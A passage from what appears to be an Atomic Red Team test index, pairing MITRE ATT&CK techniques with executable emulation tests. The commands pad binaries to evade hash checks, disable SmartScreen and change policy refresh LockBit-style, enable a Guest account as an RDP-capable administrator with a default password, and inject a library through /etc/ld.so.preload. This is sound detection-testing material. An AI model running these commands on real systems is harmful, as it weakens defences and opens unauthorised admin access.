      name: Unused/Unsupported Cloud Regions
      description: |-
        Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

        Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

        A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

        An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Netskope
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor system logs to review activities occurring across
        all cloud environments and regions. Configure alerting to notify of activity
        in normally unused regions or if the number of instances active in a region
        goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Instance: Instance Creation'
      - 'Instance: Instance Metadata'
      type: attack-pattern
      id: attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761
      created: '2019-09-04T14:35:04.617Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1535
        external_id: T1535
      - source_name: CloudSploit - Unused AWS Regions
        description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
          Retrieved October 8, 2019.
        url: https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1027.001:
    technique:
      modified: '2023-03-30T21:01:53.857Z'
      name: 'Obfuscated Files or Information: Binary Padding'
      description: "Adversaries may use binary padding to add junk data and change
        the on-disk representation of malware. This can be done without affecting
        the functionality or behavior of a binary, but can increase the size of the
        binary beyond what some security tools are capable of handling due to file
        size limitations. \n\nBinary padding effectively changes the checksum of the
        file and can also be used to avoid hash-based blocklists and static anti-virus
        signatures.(Citation: ESET OceanLotus) The padding used is commonly generated
        by a function to create junk data and then appended to the end or applied
        to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing
        the file size may decrease the effectiveness of certain tools and detection
        capabilities that are not designed or configured to scan large files. This
        may also reduce the likelihood of being collected for analysis. Public file
        scanning services, such as VirusTotal, limits the maximum size of an uploaded
        file to be analyzed.(Citation: VirusTotal FAQ) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Martin Jirkal, ESET
      x_mitre_detection: 'Depending on the method used to pad files, a file-based
        signature may be capable of detecting padding using a scanning or on-access
        based tool.  When executed, the resulting process from padded files may also
        exhibit other behavior characteristics of being used to conduct an intrusion
        such as system and network information Discovery or Lateral Movement, which
        could be used as event indicators that point to the source file. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Signature-based detection
      type: attack-pattern
      id: attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5
      created: '2020-02-05T14:04:25.865Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027/001
        external_id: T1027.001
      - source_name: ESET OceanLotus
        description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using
          old tricks. Retrieved May 22, 2018.
        url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
      - source_name: Securelist Malware Tricks April 2017
        description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass
          Detection in the Age of Big Data. Retrieved May 30, 2019.
        url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
      - source_name: VirusTotal FAQ
        description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.
        url: https://www.virustotal.com/en/faq/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1027.001
    atomic_tests:
    - name: Pad Binary to Change Hash - Linux/macOS dd
      auto_generated_guid: ffe2346c-abd5-4b45-a713-bf5f1ebd573a
      description: |
        Uses dd to add a zero byte, high-quality random data, and low-quality random data to the binary to change the hash.

        Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        file_to_pad:
          description: Path of binary to be padded
          type: path
          default: "/tmp/evil-binary"
      dependency_executor_name: sh
      dependencies:
      - description: 'The binary must exist on disk at specified location (#{file_to_pad})

          '
        prereq_command: 'if [ -f #{file_to_pad} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'cp /bin/ls #{file_to_pad}

          '
      executor:
        command: |
          dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes
          dd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data
          dd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data
        cleanup_command: 'rm #{file_to_pad}

          '
        name: sh
    - name: Pad Binary to Change Hash using truncate command - Linux/macOS
      auto_generated_guid: e22a9e89-69c7-410f-a473-e6c212cd2292
      description: |
        Uses truncate to add a byte to the binary to change the hash.

        Upon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        file_to_pad:
          description: Path of binary to be padded
          type: path
          default: "/tmp/evil-binary"
      dependency_executor_name: sh
      dependencies:
      - description: 'The binary must exist on disk at specified location (#{file_to_pad})

          '
        prereq_command: 'if [ -f #{file_to_pad} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'cp /bin/ls #{file_to_pad}

          '
      executor:
        command: 'truncate -s +1 #{file_to_pad} #adds a byte to the file size

          '
        cleanup_command: 'rm #{file_to_pad}

          '
        name: sh
  T1484.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Domain Policy Modification: Group Policy Modification'
      description: "Adversaries may modify Group Policy Objects (GPOs) to subvert
        the intended discretionary access controls for a domain, usually with the
        intention of escalating privileges on the domain. Group policy allows for
        centralized management of user and computer settings in Active Directory (AD).
        GPOs are containers for group policy settings made up of files stored within
        a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation:
        TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike
        other objects in AD, GPOs have access controls associated with them. By default
        all user accounts in the domain have permission to read GPOs. It is possible
        to delegate GPO access control permissions, e.g. write access, to specific
        users or groups in the domain.\n\nMalicious GPO modifications can be used
        to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
        [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001),
        [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create
        Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),
        \ and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide
        to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends
        2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many
        user and machine settings in the AD environment, there are a great number
        of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide
        to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code>
        can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)
        by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation:
        Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases
        an adversary might modify specific user rights like SeEnableDelegationPrivilege,
        set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>,
        to achieve a subtle AD backdoor with complete control of the domain because
        the user account under the adversary's control would then be able to modify
        GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:

        * Event ID 5136 - A directory service object was modified
        * Event ID 5137 - A directory service object was created
        * Event ID 5138 - A directory service object was undeleted
        * Event ID 5139 - A directory service object was moved
        * Event ID 5141 - A directory service object was deleted


        GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      - Tristan Bennett, Seamless Intelligence
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'Active Directory: Active Directory Object Deletion'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
      created: '2020-12-28T21:50:59.844Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1484/001
        external_id: T1484.001
      - source_name: Mandiant M Trends 2016
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
      - source_name: ADSecurity GPO Persistence 2016
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
        url: https://adsecurity.org/?p=2716
      - source_name: Microsoft Hacking Team Breach
        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
          A Cyber Jurassic Park. Retrieved March 5, 2019.'
        url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
      - source_name: Wald0 Guide to GPOs
        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
        url: https://wald0.com/?p=179
      - source_name: Harmj0y Abusing GPO Permissions
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
      - source_name: Harmj0y SeEnableDelegationPrivilege Right
        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
        url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
      - source_name: TechNet Group Policy Basics
        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
          Understanding the Structure of a Group Policy Object. Retrieved March 5,
          2019.'
        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1484.001
    atomic_tests:
    - name: LockBit Black - Modify Group policy settings -cmd
      auto_generated_guid: 9ab80952-74ee-43da-a98c-1e740a985f28
      description: 'An adversary can modify the group policy settings.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Block /f
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: LockBit Black - Modify Group policy settings -Powershell
      auto_generated_guid: b51eae65-5441-4789-b8e8-64783c26c1d1
      description: 'An adversary modifies group policy settings

        '
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force
        cleanup_command: "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\"
          -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty
          \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC
          -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\"
          -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty
          \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset
          -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\"
          -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty
          \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel
          -Force -ErrorAction Ignore\n"
        name: powershell
        elevation_required: true
  T1078.001:
    technique:
      modified: '2024-03-07T14:27:04.770Z'
      name: 'Valid Accounts: Default Accounts'
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      created: '2020-03-13T20:15:31.974Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/001
        external_id: T1078.001
      - source_name: AWS Root User
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
      - source_name: Microsoft Local Accounts Feb 2019
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
      - source_name: Metasploit SSH Module
        description: undefined. (n.d.). Retrieved April 12, 2019.
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
        guest_password:
          description: Specify the guest password
          type: string
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: string
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: string
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

        '
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

          '
        cleanup_command: 'net user #{guest_user} /active:no

          '
        name: command_prompt
        elevation_required: true
    - name: Enable Guest Account on macOS
      auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4
      description: This test enables the guest account on macOS using sysadminctl
        utility.
      supported_platforms:
      - macos
      executor:
        command: sudo sysadminctl -guestAccount on
        cleanup_command: sudo sysadminctl -guestAccount off
        name: sh
        elevation_required: true
  T1574.006:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: LD_PRELOAD'
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables the dynamic linker uses to load shared libraries. During
        the execution preparation phase of a program, the dynamic linker loads specified
        absolute paths of shared libraries from environment variables and files, such
        as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>
        on macOS. Libraries specified in environment variables are loaded first, taking
        precedence over system libraries with the same function name.(Citation: Man
        LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic
        Libraries) These variables are often used by developers to debug binaries
        without needing to recompile, deconflict mapped symbols, and implement custom
        functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn
        Linux and macOS, hijacking dynamic linker variables may grant access to the
        victim process's memory, system/network resources, and possibly elevated privileges.
        This method may also evade detection from security products since the execution
        is masked under a legitimate process. Adversaries can set environment variables
        via the command line using the <code>export</code> command, <code>setenv</code>
        function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic
        Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export
        variables in a shell or set variables programmatically using higher level
        syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may
        set <code>LD_PRELOAD</code> to point to malicious libraries that match the
        name of legitimate libraries which are requested by a victim program, causing
        the operating system to load the adversary's malicious code upon execution
        of the victim program. <code>LD_PRELOAD</code> can be set via the environment
        variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:
        TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are
        loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>
        respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed
        Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
        \n\nOn macOS this behavior is conceptually the same as on Linux, differing
        only in how the macOS dynamic libraries (dyld) is implemented at a lower level.
        Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable
        to point to malicious libraries containing names of legitimate libraries or
        functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
        Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina
        Bypass) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
      created: '2020-03-13T20:09:59.569Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/006
        external_id: T1574.006
      - source_name: Man LD.SO
        description: Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved
          June 15, 2020.
        url: https://www.man7.org/linux/man-pages/man8/ld.so.8.html
      - source_name: TLDP Shared Libraries
        description: The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved
          January 31, 2020.
        url: https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
      - source_name: Apple Doco Archive Dynamic Libraries
        description: Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved
          March 24, 2021.
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
      - source_name: Baeldung LD_PRELOAD
        description: baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved
          March 24, 2021.
        url: https://www.baeldung.com/linux/ld_preload-trick-what-is
      - source_name: Code Injection on Linux and macOS
        description: 'Itamar Turner-Trauring. (2017, April 18). “This will only hurt
          for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
          December 20, 2017.'
        url: https://www.datawire.io/code-injection-on-linux-and-macos/
      - source_name: Uninformed Needle
        description: skape. (2003, January 19). Linux x86 run-time process manipulation.
          Retrieved December 20, 2017.
        url: http://hick.org/code/skape/papers/needle.txt
      - source_name: Phrack halfdead 1997
        description: halflife. (1997, September 1). Shared Library Redirection Techniques.
          Retrieved December 20, 2017.
        url: http://phrack.org/issues/51/8.html
      - source_name: Brown Exploiting Linkers
        description: 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the
          linker. Retrieved March 29, 2021.'
        url: http://www.nth-dimension.org.uk/pub/BTL.pdf
      - source_name: TheEvilBit DYLD_INSERT_LIBRARIES
        description: Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection
          in macOS / OSX. Retrieved March 26, 2020.
        url: https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/
      - source_name: Timac DYLD_INSERT_LIBRARIES
        description: Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES.
          Retrieved March 26, 2020.
        url: https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/
      - source_name: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass
        description: Jon Gabilondo. (2019, September 22). How to Inject Code into
          Mach-O Apps. Part II.. Retrieved March 24, 2021.
        url: https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1574.006
    atomic_tests:
    - name: Shared Library Injection via /etc/ld.so.preload
      auto_generated_guid: 39cb0e67-dd0d-4b74-a74b-c072db7ae991
      description: "This test adds a shared library to the `ld.so.preload` list to
        execute and intercept API calls. This technique was used by threat actor Rocke
        during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon
        successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload.
        \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_shared_library_source:
          description: Path to a shared library source code
          type: path
          default: PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c
        path_to_shared_library:
          description: Path to a shared library object
          type: path
          default: "/tmp/T1574006.so"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_to_shared_library})

          '
        prereq_command: 'if [ -f #{path_to_shared_library} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'gcc -shared -fPIC -o #{path_to_shared_library} #{path_to_shared_library_source}

          '
      executor:
        command: 'sudo sh -c ''echo #{path_to_shared_library} > /etc/ld.so.preload''

          '
        cleanup_command: 'sudo sed -i ''s##{path_to_shared_library}##'' /etc/ld.so.preload

          '
